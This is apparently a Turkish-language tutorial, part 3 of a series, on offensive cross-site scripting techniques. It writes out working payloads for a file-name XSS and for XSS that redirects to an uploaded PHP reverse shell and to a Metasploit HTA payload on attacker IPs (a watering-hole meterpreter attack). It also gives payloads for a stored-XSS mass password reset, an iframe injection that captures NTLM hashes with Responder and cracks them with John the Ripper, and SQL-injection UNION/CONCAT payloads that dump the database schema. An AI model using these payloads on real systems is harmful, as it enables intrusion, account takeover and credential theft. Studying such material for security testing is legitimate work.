Derinlemesine XSS Saldırı Teknikleri – Bölüm 3

Temel anlamda XSS zafiyeti anlaşıldıktan sonra XSS güvenlik zafiyeti kullanılarak nelerin yapılabileceği ve saldırganların olası saldırı durumunda hedef sistem üzerinde neler yapabileceği aşağıda anlatılmaktadır.

File Upload ile XSS

Kullanıcıların bir web sitesi üzerinden; fotoğraf, dosya veya bunlara benzer nesneleri web sitesine yüklemeleri istenebilmektedir. Bu işlem için dosya yükleme nesneleri kullanılır ve kullanıcıların bu nesneler aracılığıyla sisteme dosya yüklemeleri sağlanır. Resim 5.1.1’de dosya yükleme nesnesi içeren bir web sayfası bulunmaktadır.

Bu nesne ile seçilen bir dosyanın adı “Submit Query” butonuna tıklandıktan sonra ekrana yansıtılacaktır. Sisteme yüklenmek üzere seçilecek olan bir dosya adının JavaScript kodu yapılması durumunda, seçilen dosya adı için bir kontrol yapılmıyorsa, bu durumda XSS zafiyeti tetiklenebilir.

Yüklenecek olan dosya adı aşağıdaki JavaScript koduyla değiştirildi.

“><img src=x onerror=prompt(1)>
Resim 5.1.2 – Yeni Dosya Adı

Adı değiştirilen dosya sisteme yüklenmek üzere seçildi. Resim 5.1.3 ‘te dosyanın seçilmiş olduğu görsel yer almaktadır.

Derinlemesine XSS Saldırı Teknikleri
Resim 5.1.2 – Dosya Seçimi

Butona tıklanarak istek yapıldı ve dosya adı sayfaya yansıdı. Resim 5.1.3’te dosya adının sayfaya yansıması sonucunda tetiklenen XSS zafiyetine dair bir görsel yer almaktadır.

Resim 5.1.3 – XSS Zafiyeti

XSS ile Reverse Shell

XSS zafiyetinden, sadece bir pop-up oluşturmak ya da diğer uygulamalara yönlendirme yapmak dışında, hedef sistem üzerinden reverse shell (ters bağlantı) elde etmek üzere yararlanılabilir. Reverse shell bağlantısı elde etmek için bir PHP kodu kullanılabilir. Resim 5.2.1’ de $ip değişkeni ile belirtilen saldırgan cihazın $port ile belirtilen portuna reverse shell bağlantısı gönderen bir PHP kodu yer almaktadır.

Resim 5.2.1 – PHP Kodu

Resim 5.2.2’de PHP dosyasının sisteme yüklenmek üzere seçildiği görsel yer almaktadır.

Resim 5.2.2 – PHP Dosyasının Sistem Yüklenmesi

Bu dosyayı çalıştırmak için XSS zafiyetinden yararlanabilir. Sisteme yüklenen resimlerin gösterilmesini sağlayan “image” parametresi kullanılarak bu parametre ile XSS zafiyeti tetiklenebilir ve XSS payload’ına göre sisteme yüklenen PHP dosyasına istek yapılabilir. “image” parametresine atanmak üzere aşağıdaki gibi bir payload kullanılarak PHP dosyasına istek yapılabilir.

<script>window.location ='http://192.200.10.101/file_upload/images/ReverseXSS.php'</script>
Resim 5.2.3 – PHP Dosyasına XSS ile İstek Yapılması

PHP dosyasına istek yapılması durumunda saldırgan makineye reverse shell bağlantısı gelecektir. Ancak bağlantının gelmesi için saldırgan makinede, PHP dosyasında belirtilen port üzerinden dinleme işlemi başlatılmalıdır.  Resim 5.2.4’te netcat komutu kullanılarak 1234 portu üzerinden dinleme işlemi başlatıldı ve XSS zafiyeti kullanılarak PHP dosyasına yapılan istek sonucunda hedef sistemde komut çalıştırmak üzere reverse shell bağlantısı elde edildi.

Resim 5.2.4 – XSS ile Reverse Shell

XSS ile RCE

Bir önceki bölümde XSS ile web sunucusu üzerinden reverse shell bağlantısı elde edilmesi ile ilgili işlem yapıldı. Bu bölümde ise hedef web sitesini ziyaret eden kullanıcı sistemlerinden shell bağlantısı alma ile ilgili bir saldırı senaryosu incelenecektir. Bu saldırı yöntemine “Watering Hole” adı verilir.

Resim 5.3.1 – Watering Hole

Bu saldırıyı gerçekleştirebilmek için hedef kullanıcının zararlı bir .hta uzantılı HTML uygulama dosyası indirmesi amaçlanmaktadır. Bunun için Metasploit Framework tarafından sunulan hta_server adlı modül çalıştırılır ve bir HTML uygulaması oluşturulur. Resim 5.3.2’de hta_server modülü kullanılarak oluşturulan ve saldırgan makine üzerinden yayınlanan HTML uygulama dosyasına dair bir görsel yer almaktadır.

Resim 5.3.2 – HTA Dosyası

Bu işlem tamamlandıktan sonra Stored XSS bulunan bir web sayfasına aşağıdaki JavaScript kodu yerleştirilir.

<script>window.location= ‘http://192.200.10.129:8080/41grMjoOm.hta’ </script>
Resim 5.3.3 – Stored XSS İçeren Sayfa

Herhangi bir kullanıcı bu web sayfasını ziyaret ettiğinde, tarayıcı kullanıcı makinesine otomatik olarak zararlı HTML uygulama dosyasını indirecektir. Resim 5.3.4’de JavaScript kodu ile yapılan yorumdan sonra sayfayı ziyaret eden herhangi bir kullanıcının karşılaşacağı görüntü yer almaktadır.

Resim 5.3.4 – Otomatik Olarak İndirilen HTA Dosyası

İndirilen dosyanın herhangi bir kullanıcı tarafından çalıştırılması durumunda, Metasploit Framework üzerinden meterpreter oturumu elde edilecektir. Resim 5.3.5’te indirilen dosyanın bir makinede çalıştırılması sonucunda elde edilen meterpreter oturumu yer almaktadır.

Resim 5.3.5 – Meterpreter Oturumu

XSS ile Kullanıcı Hesaplarının Manipüle Edilmesi

Hedef web sitesi üzerinde var olan XSS zafiyeti kullanılarak kullanıcı bilgilerinin ele geçirilmesi veya değiştirilmesi mümkündür.

Resim 5.4.1 – XSS Zafiyetli Sayfa

Resim 5.4.1’de yer alan sayfada alınan bilgiler ile kullanıcı parolası, parola değiştirme işlemi sırasında pass1 ve pass2 parametreleri kullanılarak değiştirilebilmektedir. Bu parametrelere farklı bir parola değeri atanarak, parametreleri içeren URL adresine kullanıcılar tarafından istek yaptırılması durumunda, istek yapan her bir kullanıcının parolası değişecektir. Bunun için Stored XSS zafiyeti içeren bir web sitesine bu zafiyetten yararlanılarak, parola değiştirme işlemi yapan URL adresini içeren bir payload yerleştirilmesi durumunda, bir kullanıcı sayfaya istek yaptığında parolası değişecektir.

Aşağıda “img” etiketinin src parametresine atanmış olan parola değiştirme adresi yer almaktadır.

<img src= “http://192.200.10.101/Change/ ?pass1=priviahub&pass2=priviahub&Change=Change”>

Bu kodun Stored XSS zafiyetinden yararlanılarak siteye yerleştirilmesi durumunda, oturum açmış olan ve sayfaya istek yapan tüm kullanıcıların parolası “priviahub” olarak değişecektir.

Resim 5.4.2’de yukarıda verilen kod kullanılarak sayfaya yapılan istek yer almaktadır.

Resim 5.4.2 – Kodun Sayfaya Yerleştirilmesi

İstek yapıldı ve kod veritabanına kaydedilerek sayfadaki yerini aldı.

Resim 5.4.3 – Zafiyetin Tetiklenmesi

XSS ile NTLM Hash Değerinin Yakalanması

Bir web sitesi üzerinde bulunan XSS zafiyetinin genellikle sayfa üzerinde bir pop-up çıkarmak amacıyla kullanıldığı düşünülür. Ancak XSS zafiyeti, bazı durumlarda oldukça kritik bilgilerin elde edilmesine sebep olabilmektedir. XSS zafiyeti kullanılarak hedef web sitesi üzerinden kullanıcıların parolalarına ait NTLM hash değerleri veya parola bilgisinin bulunması mümkündür.

Bir kullanıcının parolasına ait NTLM hash değerini elde etmek için Responder aracı kullanılarak dinleme işlemi başlatılabilir. eth0 arabirimi kullanılarak dinleme işlemi başlatmak için aşağıdaki komut kullanılabilir.

responder -I eth0

Resim 5.5.1- Responder

XSS zafiyetinin bulunduğu web sitesine, sayfada kod çalıştıran bir payload enjekte edilebileceği gibi, zararlı kodlar içeren ve farklı bir web sunucusu üzerinde çalışan bir web sayfası “iframe” etiketi kullanılarak sayfaya enjekte edilebilir.

Aşağıdaki kod kullanılarak scriptlet.html adlı sayfa, XSS zafiyeti içeren web sayfasına yerleştirilebilir.

<iframe src=“http://192.200.10.129/scriptlet.html”>

Stored XSS zafiyeti içeren web sayfasına yukarıda verilen kod kullanılarak istek yapıldı.

Resim 5.5.2- Zafiyetli Sayfaya Yapılan İstek

Verilen kod Stored XSS zafiyeti içeren web sayfasına enjekte edildi. Web sayfası yenilendiğinde kullanıcı adı ve parola girişi isteyen bir pencereyle karşılaşıldı.

Resim 5.5.3 – Kullanıcı Adı ve Parola İsteyen Pencere

Kullanıcı bilgileri girildikten sonra kullanıcı adı ve parolanın NTLM hash değeri responder aracı üzerinden saldırgan makineye gelir. Resim 5.5.4’te Responder ile elde edilen bilgiler yer almaktadır.

Resim 5.5.4 – Responder Sonuçları

Responder aracı ile elde edilen bilgiler /usr/share/responder/logs dizininde yer almaktadır.

cd /usr/share/responder/logs

Resim 5.5.5’te /usr/share/responder/logs dizininde bulunan dosyaların listesi yer almaktadır.

Resim 5.5.5 – Responder Log Dizini

Bu dosya kullanılarak, bir kelime listesiyle birlikte NTLM hash değerine yönelik parola kırma saldırısı yapılarak, kullanıcı parolası elde edilebilir.

Resim 5.5.6’da örnek bir parola listesi yer almaktadır.

Resim 5.5.6 – Parola Listesi

pass.txt dosyası oluşturulduktan sonra John The Ripper aracı kullanılarak parola bilgisi elde edilmeye çalışılır. Kullanılacak komut aşağıda yer almaktadır.

john –wordlist=pass.txt HTTP-NTLMv2-192.168.0.9.txt

Kelime listesi kullanılarak parola kırma saldırısı yapıldı ve kullanıcı parolası elde edildi. Resim 5.5.7’de John The Ripper aracının sonuçları yer almaktadır.

Resim 5.5.7 – John The Ripper

XSS Üzerinden SQL Injection Zafiyetinin Tetiklenmesi

XSS saldırıları, SQL Injection zafiyeti tespit edilen sayfalar üzerinden gerçekleştirilebilir. Bir web uygulaması üzerinde SQL Injection zafiyeti keşfeden saldırgan, örnek olarak tüm veritabanı kayıtlarını uyarı penceresinde gösteren bir saldırı gerçekleştirebilir. Resim 5.6.1’de SQL Injection zafiyeti içeren bir arama sayfası yer almaktadır.

Resim 5.6.1 – Zafiyetli Sayfa

Arama kutusuna “ ’ ” karakteri yazıldı ve arama yapıldı. Yapılan arama işlemi sonucunda SQL hatası ile karşılaşıldı.

Resim 5.6.2 – SQL Injection Zafiyeti

Özel SELECT sorgulamaları gerçekleştirmek için UNION operatörü kullanıldı ve bilgilerin alındığı tablonun 7 sütundan oluştuğu tespit edildi. Aşağıda UNION operatörü kullanılarak yapılan sorgu yer almaktadır.

P%’ UNION SELECT 1,2,3,4,5,6,7– –

Resim 5.6.3’te UNION operatörü kullanılarak gerçekleştirilen sorgu sonucu yer almaktadır.

Resim 5.6.3 – UNION Sorgusu

Sorgulama işlemi sonucunda UNION parametresinden sonra gelen SELECT sorgusundan elde edilen veriler, tablonun en alt satırına yerleşti. SELECT sorgusunda yer alan rakamlar tabloya yerleşti. Bu rakamlardan herhangi biri yerine bir JavaScript kodu yazılması durumunda, sorgunun çalıştırılmasıyla birlikte JavaScript kodu çalışacaktır. Ancak JavaScript kodu normal bir şekilde eklenemez. Bunun yerine JavaScript kodu heksadesimal formata dönüştürülerek sorguya dahil edilebilir.

Aşağıda JavaScript kodu ve bu kodun heksadesimal hali yer almaktadır.

<script>alert(1)</script> 0x3c7363726970743e616c6572742831293c2f7363726970743e

Heksadesimal kod sorguya dahil edildi ve çalıştırıldı. Aşağıda heksadesimal kodun yer aldığı istek verisi yer almaktadır.

P%' UNION SELECT 1,2,3,4,5,0x3c7363726970743e616c6572742831293c2f7363726970743e,7-- -

Resim 5.6.4’te yapılan istek sonrası alınan sonuç yer almaktadır.

Resim 5.6.4 – SQL Injection Üzerinden XSS

Yapılan istek sonucunda sorguya dahil edilen JavaScript kodu çalıştı ve sayfaya uyarı mesajı yansıdı.

SQL sorgusu CONCAT operatörü kullanılarak genişletilebilir. JavaScript kodu parçalanarak arasına farklı bir SQL sorgusu yerleştirilebilir ve CONCAT operatörü kullanılarak kod parçaları birleştirilebilir.

Aşağıda JavaScript kodu içeren ve CONCAT operatörü kullanılarak birleştirilen SQL Injection payload’ı yer almaktadır.

P%' union select 1,concat(0x3c7363726970743e616c6572742822507269766961487562, 0x5c6e,(concat(@x:=0x00,(SELECT count(*)from information_schema.columns where table_schema=database() and @x:=concat(@x,0x5c6e, database(),0x20207c2020,table_name,0x20207c2020,column_name)),@x)), 0x22293c2f7363726970743e),3,4,5,6,7-- -

Resim 5.6.5’te payload çalıştırıldıktan sonra elde edilen sonuca ait görsel yer almaktadır.

Resim 5.6.5 – Alınan Bilgiler

Veritabanı adı, tablolar ve tablolara ait kolon adları XSS zafiyeti kullanılarak uyarı penceresinde listelendi.